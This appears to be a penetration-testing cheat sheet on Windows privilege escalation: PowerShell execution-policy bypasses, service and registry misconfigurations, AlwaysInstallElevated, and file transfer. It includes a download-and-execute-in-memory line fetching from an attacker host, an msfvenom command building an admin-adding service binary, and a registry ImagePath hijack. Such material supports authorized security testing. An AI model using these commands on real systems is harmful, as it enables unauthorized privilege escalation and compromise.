Privilege Escalation
Privilege Escalation
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
PowerShell Script Execution Policy Bypass Methods
Set-Executionpolicy Bypass
Administrator rights are required.
Set-ExecutionPolicy -Scope CurrentUser Bypass
Only works in the context of the current user but requires no Administrator rights.
Set-ExecutionPolicy Bypass -Scope Process
Works without Administrator rights and lasts for the duration of the current session.
Open .ps1 file in text editor.
Copy all text in the file
Paste into PowerShell
PowerShell will run each line of the script one at a time, essentially the same as running the script.
Echo <script_code> | PowerShell.exe -noprofile -
Similar to simply pasting the code.
cat $script.ps1 | PowerShell.exe -noprofile -
Effectively the same as the previous example, but the code is read from a script file instead of being pasted. cat
is an alias for Get-Content
.
function <name> { <code_here> }
Similar to the above examples, however you paste your code inside the curly braces, and run the code by typing the <name>
of your function. Allows for code reuse without having to copy and paste multiple times.
PowerShell.exe -command "<code_here>"
Runs the string provided to the -c
(Command) argument as code. If the value of the -Command
parameter is -
, the command text is read from standard input.
cat $script.ps1 | IEX
Pipes the content of the script to the Invoke-Expression
cmdlet, which runs any specified string as a command and returns the results to the console. IEX
is an alias for Invoke-Expression
.
IEX { <code_here> }
Essentially creates a one-time use function from your code.
& { <code_here> }
The operator (&
) is an alias for Invoke-Expression
and is equivalent to the example above.
. { <code_here> }
The operator (.
) can be used to create an anonymous one-time function. This can sometimes be used to bypass certain constrained language modes.
Invoke-Command -scriptblock { <code_here> } -ComputerName $Computer
Can be used to run commands against remote systems with the optional -ComputerName
parameter if PowerShell remoting has been enabled.
$text = Get-Content $text_file -Raw
$script = [System.Management.Automation.ScriptBlock]::Create($text)
& $script
Using the .NET object System.Management.Automation.ScriptBlock
we can compile any text content to a script block. Then, using (&
) we can easily execute this compiled and formatted text file.
Echo IEX(New-Object Net.WebClient).DownloadString(http://$ip:$port/$filename.ps1) | PowerShell -NoProfile -
Download script from attacker's machine, then run in PowerShell, in memory. No files are written to disk.
Other Bypass Methods
Execute .ps1 scripts in memory
If you are able to use Invoke-Expression
(IEX
) you can execute remote scripts using the following command. You can also copy and paste the functions into your PowerShell session, so any functions become available to run. Notice the .ps1 extension. When using downloadString
this will need to be a ps1 file to inject the module into memory.
This can also be done from a .bat script by calling powershell.exe
.
IEX
is blocked from users in most cases and Import-Module
is monitored by things such as EDR. Downloading files to a target's machine is not always allowed in a penetration test, so another method to use is Invoke-Command
. This can be done using the following format.
This will execute the file and its contents on the remote computer.
Another sneaky method would be to have the script load at the start of a new PowerShell window. This can be done by editing the $PROFILE
file. The example script below can do this.
Run script code as a function
Running the code from your PowerShell script inside a function will completely bypass script execution policies. Other code protection policies such as JEA may still stop certain cmdlets and code from running, however.
Then you can re-use the code by just typing the function name.
Using the -EncodedCommand parameter
This is very similar to using the -c
or -Command
parameter, however, in this case all scripts are passed as a base64 encoded string. Encoding your script in this way helps to avoid all of the annoying parsing errors that you encounter when using the standard -Command
parameter. This technique does not require any configuration changes or disk writes.
Disable ExecutionPolicy by Swapping out the AuthorizationManager
The function below can be executed via an interactive PowerShell console or by using the command
switch. Once the function is called it will swap out the AuthorizationManager
with null
. As a result, the execution policy is essentially set to Unrestricted
for the remainder of the session. This technique does not result in a persistent configuration change or require writing to disk. The change will be applied for the duration of the session, however.
Change Execution Policy in the Registry
Sudo for Windows
There may be times when you know the credentials for another user, but can't spawn other windows. The sudo
equivalent in PowerShell on Windows machines is the verb RunAs
. It is not as simple to use as sudo
, however.
runas
First run cmdkey /list
. If this returns entries, it means that you may able to runas
a certain user who stored their credentials in Windows.
This can be used in either cmd.exe or PowerShell.
runas PowerShell
Use the below PowerShell script to run commands as another user.
Needs the password
, username
, command
, and computername
parameters in this example, which runs $command
as the specified user.
PowerShell sudo
script
sudo
scripthttps://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions
Below is a PowerShell script that that will run a separate file as another user. You can then run a batch file, PowerShell script, or just execute a meterpreter binary as that user. The below function is to be run from a PowerShell prompt:
Example: sudo -UserName Administrator -Script C:\tmp\privesc.ps1
This will cause Windows to prompt for a password for the Administrator user, then run the privesc script. Can be used to run a command rather than a script.
Running this in a function will bypass Script Execution policies, though JEA may still give you trouble.
Services
Modify service binary path (link to persistence page)
If one of the groups you have access to has SERVICE_ALL_ACCESS
in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
Service Permissions
Other Permissions can be used to escalate privileges:
SERVICE_CHANGE_CONFIG
: Can reconfigure the service binaryWRITE_DAC
: Can reconfigure permissions, leading toSERVICE_CHANGE_CONFIG
WRITE_OWNER
: Can become owner, reconfigure permissionsGENERIC_WRITE
: InheritsSERVICE_CHANGE_CONFIG
GENERIC_ALL
: InheritsSERVICE_CHANGE_CONFIG
(To detect and exploit this vulnerability you can useexploit/windows/local/service_permissions
in MetaSploit)
Check if you can modify the binary that is executed by a service. You can retrieve a list of every binary that is executed by a service using wmic
(not in system32) and check your permissions using icacls
:
You can also use sc.exe
and icacls
:
Services registry permissions (TODO: link to persistence pages)
You should check if you can modify any service registry. You can check your permissions over a service registry doing:
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl
. In that case you can change the binary that is going to be executed by the service. To change the Path of the binary executed: reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Unquoted Service Paths (TODO: link to persistence pages)
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
To list all unquoted service paths (minus built-in Windows services)
-or-
-also-
You can detect and exploit this vulnerability with metasploit using the module: exploit/windows/local/trusted_service_path
You can manually create a service binary with msfvenom: msfvenom -p windows/exec CMD="net localgroup administrators $username /add" -f exe-service -o service.exe
Extract SSH Keys using PowerShell and Python
First run this as a PowerShell function, then use the Python script below to parse and decrypt the JSON
File Transfers
Using FTP
Windows has an FTP client built in at C:\Windows\System32\ftp.exe
that is already in PATH. You can open an FTP connection and transfer files directly between the attacker's machine from the command line. Most of the time the initial shell you get on a target won’t be interactive, which means running an command which requires further input from the user (e.g. text editor, FTP connection). This won’t work properly and can crash the shell. The trick is to create a file with all the FTP commands you need and run them all at once.
To set this up, you can authenticate with user anonymous
and any random password (or if FTP account information is known, use that). Windows FTP can take a “script” of commands directly from the command line. This means if you create a text file called ftp_commands.txt
on the system that contains this:
Then you can simply run ftp -s:ftp_commands.txt
and download a file with no user interaction. Use -i
to disable interactive prompting during multiple file transfers. You can also use the put $file_to_upload
command instead of get
to send a file to the attacker's machine.
FTP batch script examples
or
Use "Get
" if downloading, or "Put
" if uploading.
SMB
First, create an SMB share using Impacket
Or create an SMB share using samba:
Then add the following to the end of /etc/samba/smb.conf
:
Finally (re)start the Samba server
Transfer files to/from the Windows victim
Connect to the remote share with net.exe
Or using the New-PSDrive
PowerShell cmdlet
Download files with PowerShell
Using System.Net.WebClient
Using Invoke-WebRequest
Download and Execute in Memory
Using .Net:
Using Bitsadmin
First, you must import the BitsTransfer PowerShell Module with Import-Module BitsTransfer
. After you import the BitsTransfer module, the following cmdlets are available:
Add-BitsFile
Adds files to a BITS transferComplete-BitsTransfer
Completes a BITS transferGet-BitsTransfer
Gets a BITS transferRemove-BitsTransfer
Stops a BITS transferResume-BitsTransfer
Resumes a suspended BITS transferSet-BitsTransfer
Configures a BITS transfer jobStart-BitsTransfer
Creates and starts a BITS transfer jobSuspend-BitsTransfer
Pauses a BITS transfer job
For example, the following Windows PowerShell command begins a BITS transfer from the local computer to a computer named CLIENT:
When running Windows PowerShell interactively, the PowerShell window displays the progress of the transfer. The following command uses an abbreviated notation to download a file from a Web site to the local computer:
Using Certutil
The basic syntax for downloading a file:
You can also use syntax as below to create .bat scripts:
You can also use certutil
to encode and decode a payload:
Using Microsoft Defender MpCmdRun.exe
Also: See APT writeup for how to use this tool to retrieve machine account hash for total pwnage!
C# Command-line build with csc.exe:
Users
Add User
Make User Admin
Get all members of "Domain Admins" group
Password brute force/domain user enumeration (kerbrute)
Dump password hashes (Metasploit)
Find admin users (Metasploit)
Impersonate an administrator (meterpreter)
Add a user
MISC
Covert to and from Base64 with PowerShell
Convert to base64
Convert from base64
Execute a base64 payload in powershell
Using Runas
to execute commands as another user
Runas
to execute commands as another userFirst you have to create a credential object, and specify the computer to connect to. Can be used both locally and remotely.
AlwaysInstall Elevated
Allows non-privileged users to run executables as NT AUTHORITY\SYSTEM
. To check for this, query the AlwaysInstallElevated
property of the HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
registry key
Using PowerShell drives:
Using .Net:
Open the registry on the remote computer.
2. Open the SOFTWARE\Policies\Microsoft\Windows\Installer
registry key.
3. Use the GetValue()
method to query the value of the registry key.
Using .NET rather than PowerShell drives (as above) is a bit faster and is an easy way to query registry keys and values on remote computers.
msfvenom
msiexec (on victim machine)
Metasploit module
References
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